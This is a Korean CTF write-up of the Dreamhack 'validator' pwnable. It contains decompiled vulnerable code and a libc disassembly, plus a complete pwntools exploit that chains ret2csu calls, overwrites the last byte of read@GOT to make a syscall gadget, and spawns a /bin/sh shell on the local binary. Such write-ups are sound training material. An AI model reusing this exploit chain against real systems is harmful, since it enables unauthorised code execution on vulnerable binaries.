[Dreamhack] validator (syscall)

Sisyphus·2022년 11월 30일
0

문제 코드

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-80h]

  memset(&s, 0, 0x10uLL);
  read(0, &s, 0x400uLL);
  validate(&s, 128LL);
  return 0;
}


__int64 __fastcall validate(__int64 a1, unsigned __int64 a2)
{
  unsigned int i; // [rsp+1Ch] [rbp-4h]
  signed int j; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 9; ++i )
  {
    if ( *(_BYTE *)((signed int)i + a1) != correct[i] )	// corret = "DREAMHACK!"
      exit(0);
  }
  for ( j = 11; a2 > j; ++j )
  {
    if ( *(unsigned __int8 *)(j + a1) != *(char *)(j + 1LL + a1) + 1 )
      exit(0);
  }
  return 0LL;
}


익스플로잇 계획

read함수 밖에 없어서 libc base를 구할 수 없을 때는 readsleep함수를 syscall 가젯으로 만들어 익스플로잇을 할 수 있습니다.

[1] write "/bin/sh\x00"
	read(0, bss, 8)
[2] make syscall gadget
	read(0, read@got, 1)
[3] set rax 59
	read(1, bss, 59)
[4] /bin/sh
	execve(bss, 0, 0)


syscall gadget 만들기

pwndbg> disass read
Dump of assembler code for function __GI___libc_read:
   0x00007ffff7af2020 <+0>:     lea    rax,[rip+0x2e09b1]        # 0x7ffff7dd29d8 <__libc_multiple_threads>
   0x00007ffff7af2027 <+7>:     mov    eax,DWORD PTR [rax]
   0x00007ffff7af2029 <+9>:     test   eax,eax
   0x00007ffff7af202b <+11>:    jne    0x7ffff7af2040 <__GI___libc_read+32>
   0x00007ffff7af202d <+13>:    xor    eax,eax
   0x00007ffff7af202f <+15>:    syscall 
   0x00007ffff7af2031 <+17>:    cmp    rax,0xfffffffffffff000
   0x00007ffff7af2037 <+23>:    ja     0x7ffff7af2090 <__GI___libc_read+112>
   0x00007ffff7af2039 <+25>:    repz ret 
   0x00007ffff7af203b <+27>:    nop    DWORD PTR [rax+rax*1+0x0]
   0x00007ffff7af2040 <+32>:    push   r12
   0x00007ffff7af2042 <+34>:    push   rbp
   0x00007ffff7af2043 <+35>:    mov    r12,rdx
   0x00007ffff7af2046 <+38>:    push   rbx
   0x00007ffff7af2047 <+39>:    mov    rbp,rsi
   0x00007ffff7af204a <+42>:    mov    ebx,edi
   0x00007ffff7af204c <+44>:    sub    rsp,0x10
   0x00007ffff7af2050 <+48>:    call   0x7ffff7b12540 <__libc_enable_asynccancel>
   0x00007ffff7af2055 <+53>:    mov    rdx,r12
   0x00007ffff7af2058 <+56>:    mov    r8d,eax
   0x00007ffff7af205b <+59>:    mov    rsi,rbp
   0x00007ffff7af205e <+62>:    mov    edi,ebx
   0x00007ffff7af2060 <+64>:    xor    eax,eax
   0x00007ffff7af2062 <+66>:    syscall 
   0x00007ffff7af2064 <+68>:    cmp    rax,0xfffffffffffff000
   0x00007ffff7af206a <+74>:    ja     0x7ffff7af20a4 <__GI___libc_read+132>
   0x00007ffff7af206c <+76>:    mov    edi,r8d
   0x00007ffff7af206f <+79>:    mov    QWORD PTR [rsp+0x8],rax
   0x00007ffff7af2074 <+84>:    call   0x7ffff7b125a0 <__libc_disable_asynccancel>
   0x00007ffff7af2079 <+89>:    mov    rax,QWORD PTR [rsp+0x8]
   0x00007ffff7af207e <+94>:    add    rsp,0x10
   0x00007ffff7af2082 <+98>:    pop    rbx
   0x00007ffff7af2083 <+99>:    pop    rbp
   0x00007ffff7af2084 <+100>:   pop    r12
   0x00007ffff7af2086 <+102>:   ret    
   0x00007ffff7af2087 <+103>:   nop    WORD PTR [rax+rax*1+0x0]
   0x00007ffff7af2090 <+112>:   mov    rdx,QWORD PTR [rip+0x2dadd1]        # 0x7ffff7dcce68
   0x00007ffff7af2097 <+119>:   neg    eax
   0x00007ffff7af2099 <+121>:   mov    DWORD PTR fs:[rdx],eax
   0x00007ffff7af209c <+124>:   mov    rax,0xffffffffffffffff
   0x00007ffff7af20a3 <+131>:   ret    
   0x00007ffff7af20a4 <+132>:   mov    rdx,QWORD PTR [rip+0x2dadbd]        # 0x7ffff7dcce68
   0x00007ffff7af20ab <+139>:   neg    eax
   0x00007ffff7af20ad <+141>:   mov    DWORD PTR fs:[rdx],eax
   0x00007ffff7af20b0 <+144>:   mov    rax,0xffffffffffffffff
   0x00007ffff7af20b7 <+151>:   jmp    0x7ffff7af206c <__GI___libc_read+76>
End of assembler dump.

read 함수를 봐보면 끝에 1 바이트만 주소가 변하고 앞에 주소는 동일하게 유지됩니다.
그래서 뒤에 1바이트 주소를 0x2f로 변조하면 read함수는 syscall 가젯이 됩니다.



익스플로잇 코드

from pwn import *

def rtc_chain(func, arg1, arg2, arg3):
    return p64(0) + p64(1) + p64(func) + p64(arg1) + p64(arg2) + p64(arg3) + p64(0x4006d0)

def make_payload():
    payload = b"DREAMHACK!"
    list = []

    for i in range(118, -1, -1):
            list.append(i)

    payload += bytes(list)
    payload += b"B"*7

    return payload


p = process("./validator_server")
e = ELF("./validator_server")
libc = e.libc
r = ROP(e)

#context.log_level = 'debug'
#gdb.attach(p)

read_got = e.got['read']
bss = e.bss()

csu_init = 0x4006ea
main = 0x40063a

pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
ret = r.find_gadget(['ret'])[0]


payload = make_payload()

# write "/bin/sh"
# read(0, bss, 8)
payload += p64(csu_init)
payload += rtc_chain(read_got, 0, bss, 8)


# make syscall gadget
# read(0, read@got, 1)
payload += p64(0)
payload += rtc_chain(read_got, 0, read_got, 1)


# set rax 59
# write(1, bss, 59)
payload += p64(0)
payload += rtc_chain(read_got, 1, bss, 59)


# execve("/bin/sh", 0, 0)
payload += p64(0)
payload += rtc_chain(read_got, bss, 0, 0)


pause()
p.sendline(payload)
p.send(b"/bin/sh\x00")
p.send(b'\x2f')

p.recv(59)

p.interactive()


익스플로잇

☁  validator [main] python3 exploit.py
[+] Starting local process './validator_server': pid 10249
[*] '/home/ion/security/wargame/dreamhack/pwnable/validator/validator_server'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
[*] '/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Loaded 15 cached gadgets for './validator_server'
[*] Paused (press any to continue)
[*] Switching to interactive mode
$
$ ls
exploit.py  remote.py        validator_dist.i64
local.py    validator_dist  validator_server

0개의 댓글